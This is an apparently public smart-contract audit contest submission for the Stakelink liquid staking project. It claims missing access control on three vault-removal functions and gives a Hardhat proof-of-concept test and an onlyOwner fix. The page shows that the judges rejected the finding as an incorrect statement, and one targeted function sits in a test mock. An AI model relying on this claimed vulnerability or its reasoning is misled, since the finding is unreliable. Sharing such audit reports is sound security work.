Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: high
Invalid

Lacking access control in Chainlink staking contract and OperatorVCS contract

Summary

Lacking proper access control in Chainlink staking contract's removeOperator() function and OperatorVCS contract's queueVaultRemoval() and removeVault() functions can lead into disrupting services.

Side-effected scope:

Because we don't have real implementation of Chainlink staking contract so we use this StakingMock contract to demonstrate the exploit. If this contract is implemented as same as this mock contract, we will leave the Chainlink staking system vulnerable.

  • 2024-09-stakelink/contracts/linkStaking/test/StakingMock.sol

Audited scope:

  • 2024-09-stakelink/contracts/linkStaking/OperatorVCS.sol

Vulnerability Details

Steps to remove an operator vault:

  1. Calling Chainlink staking contract's removeOperator()

// 2024-09-stakelink/contracts/linkStaking/test/StakingMock.sol
function removeOperator(address _operator) external {}
  1. Calling OperatorVCS contract's queueVaultRemoval()

// 2024-09-stakelink/contracts/linkStaking/OperatorVCS.sol
function queueVaultRemoval(uint256 _index) external {}
  1. Calling OperatorVCS contract's removeVault()

// 2024-09-stakelink/contracts/linkStaking/OperatorVCS.sol
function removeVault(uint256 _queueIndex) public {}

There is no explicit indication that above functions are protected by any access control.

Impact

Anyone can call those functions to remove any operator vault, posing a significant security threat to the integrity and functionality of your system.

Proof of Concept

Actors:

  • Attacker: Anyone can be an attacker

Working Test Case:

// 2024-09-stakelink/test/linkStaking/operator-vcs.test.ts
// ...
describe('OperatorVCS', () => {
// ...
it('removeVault should not be called publicly by anyone', async () => {
const {
signers,
accounts,
strategy,
stakingPool,
rewardsController,
vaults,
stakingController,
fundFlowController,
adrs,
token,
} = await loadFixture(deployFixture)
await stakingPool.deposit(accounts[0], toEther(1000), [encodeVaults([])])
await rewardsController.setReward(vaults[5], toEther(40))
await rewardsController.setReward(vaults[6], toEther(100))
await stakingPool.updateStrategyRewards([0], encode(0))
await rewardsController.setReward(vaults[5], toEther(50))
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await stakingPool.withdraw(accounts[0], accounts[0], toEther(130), [encodeVaults([0, 5])])
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await stakingController.removeOperator(vaults[5])
await strategy.queueVaultRemoval(5)
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
await time.increase(claimPeriod)
await fundFlowController.updateVaultGroups()
// We are going to remove this vault
const vaultToBeRemovedIndex = 6;
const vaultToBeRemoved = vaults[vaultToBeRemovedIndex]
// We are going to cheat caller's address by using this account and its signer
const cheatAccountIndex = 1;
const cheatAccountSigner = signers[cheatAccountIndex];
// Staking contract's removeOperator function can be called publicly by anyone
// function removeOperator(address _operator) external { ... }
await stakingController.connect(cheatAccountSigner).removeOperator(vaultToBeRemoved)
// OperatorVCS contract's queueVaultRemoval function can be called publicly by anyone
// function queueVaultRemoval(uint256 _index) external { ... }
await strategy.connect(cheatAccountSigner).queueVaultRemoval(vaultToBeRemovedIndex)
// OperatorVCS contract's removeVault function can be called publicly by anyone
// function removeVault(uint256 _queueIndex) public { ... }
await strategy.connect(cheatAccountSigner).removeVault(0)
// Check vault removal queue to confirm this exploit
assert.notDeepEqual(
await strategy.getVaultRemovalQueue(),
[vaultToBeRemoved],
'!!! removeVault can be called publicly by anyone !!!'
)
})
// ...
})
// ...

Tools Used

  • Hardhat test script

Recommended Mitigation

Apply onlyOwner modifier to restrict access:

// 2024-09-stakelink/contracts/linkStaking/test/StakingMock.sol
function removeOperator(address _operator) external onlyOwner {}
// 2024-09-stakelink/contracts/linkStaking/OperatorVCS.sol
function queueVaultRemoval(uint256 _index) external onlyOwner {}
// 2024-09-stakelink/contracts/linkStaking/OperatorVCS.sol
function removeVault(uint256 _queueIndex) public onlyOwner {}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.